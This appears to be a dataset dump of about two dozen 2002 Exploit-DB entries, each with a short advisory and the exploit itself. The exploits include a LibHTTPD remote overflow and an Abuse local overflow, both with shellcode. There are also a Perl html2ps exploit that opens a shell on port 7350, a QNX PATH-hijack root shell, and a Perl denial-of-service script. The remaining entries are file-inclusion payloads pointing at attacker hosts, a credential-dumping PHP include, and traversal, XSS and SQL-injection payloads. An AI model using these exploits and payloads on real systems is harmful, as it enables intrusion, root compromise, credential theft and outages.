QLWD/code_shield huggingface dataset:
标题: acFTP 1.4 - Invalid Password Weak Authentication EDB-ID: 22032 CVE: 2002-2417 类型: REMOTE 平台: WINDOWS 发布日期: 2002-11-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/6235/info

A vulnerability has been reported for acFTP. Reportedly, acFTP allows users to authenticate without a valid password.

An attacker can exploit this vulnerability and log on to the vulnerable FTP server without need for proper authentication.

USER private
PASS # URL: https://www.exploit-db.com/exploits/22032
标题: IISPop 1.161/1.181 - Remote Buffer Overflow (Denial of Service) (PoC) EDB-ID: 22019 CVE: 2002-2404 类型: DOS 平台: WINDOWS 发布日期: 2002-11-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/6183/info

IISPop is vulnerable to a denial of service caused by a buffer overflow. By sending an unusually large amount of data to IISPop on TCP port 110, the application will terminate with an access violation. Arbitrary code execution may be possible.

#!/usr/bin/perl -w
# tool : iispdos.pl
# shutdown all version of IISPop
# greetz crack.fr , marocit ,christal
#

use IO::Socket;

$ARGC=@ARGV;
if ($ARGC !=1) {
print "\n-->";
print "\tUsage: perl iispdos.pl <host> \n";
exit;
}

$remo = $ARGV[0];
$buffer = "A" x 289999;

print "\n-->";
print "\tconnection with $remo\n";
unless ($so = IO::Socket::INET->new (Proto => "TCP",
PeerAddr => $remo,
PeerPort
=> "110"))
{
print "-->";
print "\tConnection Failed...\n";
exit;
}
print $so "$buffer\n";
close $so;

print "-->";
print "\tnow test if the distant host is down\n";
exit; URL: https://www.exploit-db.com/exploits/22019
标题: phpBB Advanced Quick Reply Hack 1.0/1.1 - Remote File Inclusion EDB-ID: 22017 CVE: 2002-2287 类型: WEBAPPS 平台: PHP 发布日期: 2002-11-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/6173/info

The phpBB Advanced Quick Reply Hack is prone to an issue which may allow attackers to include arbitrary files from a remote server.

It is possible for remote attackers to influence the include path for 'extension.inc' in the 'quick_reply.php' script. As a result, an attacker may cause an arbitrary PHP script to be included from an attacker-supplied source, which may result in execution of commands with the privileges of the webserver. 

<?php
include('config'.'.php');
echo "DB Type: $dbms <br>";
echo "DB Host: $dbhost <br>";
echo "DB Name: $dbname <br>";
echo "DB User: $dbuser <br>";
echo "DB Pass: $dbpasswd <br>";
exit;
?>

Then submit the following request to the host running the vulnerable software:

http://www.example.com/quick_reply.php?phpbb_root_path=http://attackersite.tld/&mode=smilies URL: https://www.exploit-db.com/exploits/22017
标题: Hotfoon Dialer 4.0 - Buffer Overflow (PoC) EDB-ID: 22010 CVE: 2002-2385 类型: DOS 平台: MULTIPLE 发布日期: 2002-11-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/6156/info

A buffer overflow vulnerability has been reported for the Hotfoon dialer. The vulnerability exists in a text input field for dialing telephone numbers. Reportedly, Hotfoon4.exe does not adequately perform boundary checks on this field.

It is possible to crash the service and execute code.

Voice:aaaaaa.........76 a's URL: https://www.exploit-db.com/exploits/22010
标题: W3Mail 1.0.6 - File Disclosure EDB-ID: 22015 CVE: 2002-2399 类型: WEBAPPS 平台: CGI 发布日期: 2002-11-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/6170/info

Versions of W3Mail 1.0.6 and greater are susceptible to a file disclosure vulnerability. To view attachments, the script "viewAttachment.cgi" accepts the parameter "file". The value of this parameter is passed to the open() function as the filename argument without being sanitized. Attackers may cause any file on the filesystem to open by specifying its relative path using directory traversal characters. 

viewAttachment.cgi?file=../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/22015
标题: EZ Systems HTTPBench 1.1 - Information Disclosure EDB-ID: 22009 CVE: 2002-1818 类型: WEBAPPS 平台: PHP 发布日期: 2002-11-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/6153/info

An information disclosure vulnerability has been reported for httpbench. Reportedly, httpbench may disclose the contents of web server readable files to remote attackers.

Information obtained in this manner may be used to launch further, destructive attacks against a vulnerable system. 

http://www.web_sitesi/ezhttpbench.php?AnalyseSite=/etc/passwd&NumLoops=1 URL: https://www.exploit-db.com/exploits/22009
标题: LibHTTPD 1.2 - POST Buffer Overflow EDB-ID: 22016 CVE: 2002-2400 类型: REMOTE 平台: LINUX 发布日期: 2002-11-13 漏洞利用脚本: // source: https://www.securityfocus.com/bid/6172/info

LibHTTPD is vulnerable to a buffer overflow condition. By passing a POST request of excessive length, it is possible to overrun a static buffer. This may result in sensitive locations in memory being overwritten by attacker-supplied values.

Successful exploitation of this vulnerability may allow an attacker to execute arbitrary code with super user privileges.

It should be noted that this vulnerability was reported in LibHTTPD v1.2. It is not yet known whether earlier versions are affected. 

/*
**
** Lib HTTPd Remote Buffer Overflow exploit
**                             by Xpl017Elz
** __
** Testing exploit:
**
** bash$ (./0x82-Remote.libhttpdxpl;cat)|nc libhttphost 80
**
** (Ctrl+c)
** punt!
** bash$ nc libhttphost 3879
** uname
** Linux
** id
** uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),
** 3(sys),4(adm),6(disk),10(wheel)
** exit
** bash$
**
** --
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.i21c.net
**
*/

#include <stdio.h>
int main(/* args? */)
{
    int shadd2r;
    char b1ndsh[] = /* 129byte bindshellcode */
        "\211\3451\322\262f\211\3201\311\211\313C\211]\370C\211]\364K\211M\374\215M"
        "\364\315\2001\311\211E\364Cf\211]\354f\307E\356\017'\211M\360\215E\354\211E"
        "\370\306E\374\020\211\320\215M\364\315\200\211\320CC\315\200\211\320C\315"
        "\200\211\3031\311\262?\211\320\315\200\211\320A\315\200\353\030^\211u"
        "\b1\300\210F\007\211E\f\260\013\211\363\215M\b\215U\f\315\200\350\343\377"
        "\377\377/bin/sh";
    //--- POST &shellcode ---//
    fprintf(stdout,"POST ");
    for(shadd2r=0;shadd2r<0x408;shadd2r+=4)
    {/* rEDhAT Default: 0x804e482,
        Debian Address? */
        fprintf(stdout,"\202\344\004\b");
    }
    fprintf(stdout,"\r\n");
    //--- NOP,shellcode ---//
    for(shadd2r=0;shadd2r<0x3e8;shadd2r++)
    {/* SSSSSSSS...SSSSSSSSS;;; */
        fprintf(stdout,"S");
    }
    fprintf(stdout,"%s\r\nx0x\r\nx82\r\nl0l\r\n",b1ndsh);
} URL: https://www.exploit-db.com/exploits/22016
标题: Key Focus KF Web Server 1.0.8 - Directory Traversal EDB-ID: 22018 CVE: 2002-2403 类型: REMOTE 平台: WINDOWS 发布日期: 2002-11-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/6180/info

KeyFocus KF Web Server is vulnerable to a directory traversal attack. This is due to the web server's inability to properly handle file names containing consecutive dot characters. By exploiting this vulnerability, an attacker is able to break out of the web root and retrieve any file readable by the web server. Only files of recognized MIME types can be retrieved. 

#!/usr/bin/perl
use URI::Escape;
use IO::Socket;
if (@ARGV < 2) {
print STDOUT "Usage: perl $0 [filename] [host] [port]";
} else {
$f =
IO::Socket::INET->new(PeerAddr=>$ARGV[1],PeerPort=>$ARGV[2],Proto=>"tcp");
$url = uri_escape($ARGV[0]);
$exploit = sprintf("GET /.............../%s HTTP/1.0\r\n\r\n");
print $f $exploit;
undef $f;
} URL: https://www.exploit-db.com/exploits/22018
标题: Lotus Domino 5.0.8-9 - Non-Existent NSF Database Banner Information Disclosure EDB-ID: 21996 CVE: 2002-2191 类型: REMOTE 平台: MULTIPLE 发布日期: 2002-11-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/6128/info


Lotus Domino reportedly discloses sensitive banner information when a non-existent NSF database is requested. This may allow a remote attacker to discover information about the layout of the filesystem.

This issue is present on Lotus Domino Server with the 'DominoNoBanner' set to a value of '1'.

http://www.example.com/nosuchdb.nsf URL: https://www.exploit-db.com/exploits/21996
标题: QNX RTOS 6.2 - Application Packager Non-Explicit Path Execution EDB-ID: 22002 CVE: 2002-1239 类型: LOCAL 平台: LINUX 发布日期: 2002-11-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/6146/info

A vulnerability has been discovered in an application packager shipped with QNX RTOS. It should be noted that the vulnerable packager is installed setuid root by default.

It has been reported that the packager fails to use absolute paths to execute system commands. This could potentially allow an attacker to trick the program into running a trojaned binary.

Because the vulnerable packager is installed setuid root by default, this could allow a local attacker to take complete control over a system. 

$ cat > cp <<EOF
> #!/bin/sh
> /bin/cp /bin/sh /tmp/sh
> chmod 4755 /tmp/sh
> EOF
$ chmod 755 cp

The attacker then modifies the PATH environment variable to search
the current working directory before anything else:

$ PATH=$PWD:$PATH

The attacker now creates a directory and calls the packager on that
created directory:

$ mkdir temp
$ packager temp
...

The packager will ask a number of questions. When the procedure is
complete, a root shell will be waiting for the attacker:

$ ls -l /tmp/sh
- -rwsr-x r-x 1 root 100 153908 May 11 05:36 /tmp/sh URL: https://www.exploit-db.com/exploits/22002
标题: Zeus Web Server 4.0/4.1 - Admin Interface Cross-Site Scripting EDB-ID: 22000 CVE: 2002-1785 类型: REMOTE 平台: CGI 发布日期: 2002-11-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/6144/info

The Zeus Web Server contains a web based administration interface that is vulnerable to cross site scripting attacks.

Due to insufficient sanitization of user-supplied input it is possible for an attacker to construct a malicious link which contains arbitrary HTML and script code, which will be executed in the web client of a user who visits the malicious link. It should be noted that the user must authenticate with the administrative interface for the attack to succeed.

The vendor has stated that cookies are not used to store usernames and passwords. 

http://hostname:9090/apps/web/index.fcgi?servers=&section=<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/22000
标题: Perception LiteServe 2.0.1 - DNS Wildcard Cross-Site Scripting EDB-ID: 21997 CVE: 2002-2192 类型: REMOTE 平台: WINDOWS 发布日期: 2002-11-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/6131/info

A cross site scripting vulnerability has been discovered in Perception LiteServe. It should be noted that this vulnerability is limited to server configurations with Wildcard DNS enabled.

It has been reported that LiteServe fails to sanitize requested hostnames when Wildcard DNS is used. This issue may allow an attacker to create a malicious link containing encoded HTML and script code in the requested hostname.

When the malicious link is clicked by an unsuspecting user, the attacker-supplied HTML and script code will be executed by their web client.

Attacks of this nature may make it possible for attackers to manipulate web content or to steal cookie-based authentication credentials. It may be possible to take arbitrary actions as the victim user.

This issue was reported in LiteServe v2.01. It is not yet known whether earlier versions are affected by this issue. 


http://%3CIMG%20SRC%3D%22%22%20ONERROR%3D%22alert%28location%2Ehref%29%22%3E.liteserve.net/dir URL: https://www.exploit-db.com/exploits/21997
标题: Simple Web Server 0.5.1 - File Disclosure EDB-ID: 22001 CVE: 2002-1238 类型: REMOTE 平台: WINDOWS 发布日期: 2002-11-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/6145/info

Simple Web Server does not properly sanitize web requests. By adding a slash-slash sequence ('//') to a URI, it is possible for an attacker to disclose files on the vulnerable web server, effectively bypassing any access controls. 

http://server.com///secret/file URL: https://www.exploit-db.com/exploits/22001
标题: CuteCast 1.2 - User Credential Disclosure EDB-ID: 21995 CVE: 2002-2190 类型: WEBAPPS 平台: CGI 发布日期: 2002-11-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/6127/info

It has been reported that the default configuration of CuteCast is insecure. According to the report, CuteCast stores user information in a publicly accessible directory. This includes plaintext credentials. 

http://www.example.com/cgi-bin/cutecast/members/<username>.user URL: https://www.exploit-db.com/exploits/21995
标题: Perception LiteServe 2.0.1 - Directory Query String Cross-Site Scripting EDB-ID: 21999 CVE: 2002-2192 类型: REMOTE 平台: WINDOWS 发布日期: 2002-11-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/6143/info

A cross site scripting vulnerability has been discovered in Perception LiteServe.

It has been reported that LiteServe fails to sanitize query strings from indexed folders. It is possible for an attacker to exploit this issue by constructing a malicious link, containing encoded HTML and script code.

When the malicious link is clicked by an unsuspecting user, the attacker-supplied HTML and script code will be executed by their web client.

Attacks of this nature may make it possible for attackers to manipulate web content or to steal cookie-based authentication credentials. It may be possible to take arbitrary actions as the victim user. 

http://liteserve.net/dir?%3CIMG%20SRC%3D%22%22%20ONERROR%3D%22alert%28location%2Ehref%29%22%3E

http://liteserve.net/dir?%3C%2FTITLE%3E%3CIMG%20SRC%3D%22%22%20ONERROR%3D%22alert%28location%2Ehref%29%22%3E URL: https://www.exploit-db.com/exploits/21999
标题: Pine 4.x - 'From:' Heap Corruption EDB-ID: 21985 CVE: 2002-1320 类型: DOS 平台: LINUX 发布日期: 2002-11-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/6120/info

A heap corruption may occur when Pine receives an email message containing a particularly crafted "From:" address. Though the address is RFC compliant, Pine reportedly fails to parse it correctly, resulting in a core dump. Execution of arbitrary code may be possible. 

"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\""@host.fubar URL: https://www.exploit-db.com/exploits/21985
标题: Northern Solutions Xeneo Web Server 2.1/2.2 - Denial of Service EDB-ID: 21982 CVE: 2002-1248 类型: DOS 平台: WINDOWS 发布日期: 2002-11-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/6098/info

A denial of service vulnerability has been reported for Xeneo web server. When the web server processes a malformed HTTP request, it will crash and lead to the denial of service condition. 

http://www.example.com/%
http://www.example.com/%A URL: https://www.exploit-db.com/exploits/21982
标题: Monkey HTTP Server 0.4/0.5 - Invalid POST Denial of Service EDB-ID: 21981 CVE: 2002-1663 类型: DOS 平台: WINDOWS 发布日期: 2002-11-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/6096/info

A denial of service vulnerability has been reported for Monkey HTTP server. The vulnerability is due to inadequate checks being performed when decoding POST requests.

An attacker can exploit this vulnerability by issuing a POST request with an invalid Content-Length header, or without a Content-Length value. When the server attempts to service the request, it will crash and lead to the denial of service condition. 

POST / HTTP/1.1
Host: 127.0.0.1:2001
Content-Length: 1 URL: https://www.exploit-db.com/exploits/21981
标题: ION Script 1.4 - Remote File Disclosure EDB-ID: 21979 CVE: 2002-1559 类型: WEBAPPS 平台: CGI 发布日期: 2002-11-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/6091/info

A vulnerability has been discovered in ION Script.

By sending a malicious HTTP request to a webserver running the vulnerable ION Script package, it is possible for a remote attacker to disclose arbitrary webserver readable files. As webservers are often run with high privileges, it may be possible to disclose sensitive system files.

Exploiting this issue may allow an attacker to gain information required to launch further attacks against the target system.

ION Script for UNIX has also been confirmed vulnerable to this issue.

It is not yet known which ION Script packages are vulnerable to this issue. 

http://www.example.com/cgi-bin/ion-p.exe?page=c:\winnt\repair\sam

http://www.example.com/cgi-bin/ion-p?page=../../../../../etc/hosts URL: https://www.exploit-db.com/exploits/21979
标题: Jason Orcutt Prometheus 3.0/4.0/6.0 - Remote File Inclusion EDB-ID: 21976 CVE: 2002-1211 类型: WEBAPPS 平台: PHP 发布日期: 2002-11-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/6087/info

Prometheus is prone to an issue which may allow remote attackers to include arbitrary files located on remote servers. This issue is present in several PHP script files provided with Prometheus. An attacker may exploit this by supplying a path to a malicious 'autoload.lib' file on a remote host as a value for the 'PROMETHEUS_LIBRARY_BASE' parameter. 

http://target.server/prometheus-all/index.php?PROMETHEUS_LIBRARY_BASE=
http://attackers.server/&PHP_AUTO_LOAD_LIB=0 URL: https://www.exploit-db.com/exploits/21976
标题: Linksys BEFSR41 1.4x - 'Gozila.cgi' Denial of Service EDB-ID: 21975 CVE: 2002-1236 类型: DOS 平台: HARDWARE 发布日期: 2002-11-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/6086/info

Linksys BEFSR41 is vulnerable to a denial of service condition.

The denial of service condition will be triggered when the device receives a request for the script file 'Gozila.cgi' without any parameters. 

http://192.168.1.1/Gozila.cgi? URL: https://www.exploit-db.com/exploits/21975
标题: LPRNG html2ps 1.0 - Remote Command Execution EDB-ID: 21974 CVE: 2002-1275 类型: REMOTE 平台: UNIX 发布日期: 2002-10-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/6079/info

A vulnerability has been discovered in the html2ps filter which is included in the lprng print system.

It has been reported that it is possible for a remote attacker to execute arbitrary commands. The attacker must reportedly already have access to the 'lp' (or equivalent) account to exploit this condition.

This cause of this vulnerability is that html2ps may open files using unsanitized input that may be supplied by a potentially malicious user. 

#!/usr/bin/perl -W

# html2ps remote "lp" exploit. Opens shell on port 7350.
# If used for testing remote machines, /etc/printcap must
# contain apropriate remote printernames etc. and lpd must
# be set up correctly.
# (C) 2002 Sebastian Krahmer, proof of concept exploit.

# Brief problem description: lprng calls printfilters as any
# other print-spooloing systems do. It calls them with UID of lp
# thats why you get lp-user shell later. The html2ps filter which is
# a perl script is called to convert the evil.html to .ps.
# However there it breaks because html2ps calls open() function insecurely
# and some other bad stuff is done too. It tries to convert the IMG embedded
# in the html and invokes some commands which give us access. Thats all. :)


sub usage
{
 print "\n$0 <printhost> <remote-host>\n".
       "\tprinthost   -- name of printer in /etc/printcap\n".
       "\tremote-host -- IP or hostname of host where shell appears\n".
       "'$0 lp 127.0.0.1' is recommended for everyones own machine\n\n";
 exit;
}


my $printhost = shift || usage();
my $remote = shift || usage();

print "Constructing evil.html ...\n";

open O, ">evil.html" or die $!;
print O<<__eof__;
<HTML>
<IMG SRC="|IFS=A;X=A;echo\${X}7350\${X}stream\${X}tcp\${X}nowait\${X}lp\${X}/bin/sh\${X}-i|dd\${X}of=/tmp/f;inetd\${X}/tmp/f">
</HTML>
__eof__

close O;

if (fork() == 0) {
 exec("/usr/bin/lpr", "-P", $printhost, "evil.html");
}
wait;
sleep 3;
print "Connecting ...\n";
exec("/usr/bin/telnet", $remote, 7350); URL: https://www.exploit-db.com/exploits/21974
标题: Linksys WAP11 1.3/1.4 / D-Link DI-804 4.68/Dl-704 2.56 b5 - Embedded HTTP Server Denial of Service EDB-ID: 21978 CVE: 2002-1865 类型: DOS 平台: HARDWARE 发布日期: 2002-11-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/6090/info

A denial of service vulnerability has been reported for several networking devices.

The condition will be triggered when the embedded web server, used by the devices, receives an overly long HTTP header. An attacker can exploit this vulnerability to cause the device to stop functioning.

Rebooting the device is necessary to restore functionality.

Although not yet confirmed, it has been speculated that this issue is a result of a buffer overflow. 

GET / HTTP/1.1
Host: <lots of characters> URL: https://www.exploit-db.com/exploits/21978
标题: PHP-Nuke 5.6 - 'modules.php' SQL Injection EDB-ID: 21977 CVE: 2002-1242 类型: WEBAPPS 平台: PHP 发布日期: 2002-11-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/6088/info

A SQL injection vulnerability has been reported for PHP-Nuke 5.6.

The vulnerability is due to insufficient sanitization of variables used to construct SQL queries in some scripts. It is possible to modify the logic of SQL queries through malformed query strings in requests for the vulnerable script.

By injecting SQL code into variables, it may be possible for an attacker to corrupt database information. 

modules.php?name=Your_Account&op=saveuser&uid=2&bio=%5c&EditedMessage=
no&pass=xxxxx&vpass=xxxxx&newsletter=,+bio=0,+pass=md5(1)/* URL: https://www.exploit-db.com/exploits/21977
标题: Abuse 2.0 - Local Buffer Overflow EDB-ID: 21980 CVE: 2002-1250 类型: LOCAL 平台: LINUX 发布日期: 2002-11-01 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/6094/info

Vulnerabilities have been discovered in two files used by Abuse.

By passing an execessively long commandline argument to Abuse, it is possible to overrun a buffer. Exploiting this issue could allow a local attacker to overwrite sensitive memory variables, resulting in the execution of arbitrary code, within the context of Abuse process.

It should be noted that one of the affected files is installed setuid root.

It should also be noted that Abuse 2.00, packaged and distributed with the x86 architecture of Debian Linux 3.0 has been reported vulnerable. It is not yet known if other packages are affected by this issue. 
*/

  /*          Abuse.console version 2.0 Exploit           */
 /*            By Girish<girish@mec.ac.in>                

                     <Tested on Debian 3.0 woody>                */

#include<stdio.h>
#define RET 0xbffff55a
#define LEN 980
#define NOP 0x90

static char shellcode[]=
 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";


long esp(void)
{
 __asm("movl %esp,%eax");
}

void  main(int argc,char *argv[])
{
 
 char cmd[1000];
 int i,x;
 long  retn;
 char buff[LEN];
 
 
 printf("\nUsage :- %s <offset>\n..",argv[0]);
 
 if(argc>1)
  retn=esp()-atoi(argv[1]);
 else
  retn=RET;

 printf("Using return Adress :- ",retn );

 for(i=0;i<LEN;i+=4)
 {
  *(long*)&buff[i]=retn;
 }

 for(i=0;i<(LEN-(strlen(shellcode)+8));i++)
 {
  *(buff+i)=NOP;

 }

 memcpy(buff+i,shellcode,strlen(shellcode));

 sprintf(cmd,"/usr/lib/games/abuse/abuse.console -net %s",buff);

 puts("executing .......");
 
 system(cmd);
 
 return;
} URL: https://www.exploit-db.com/exploits/21980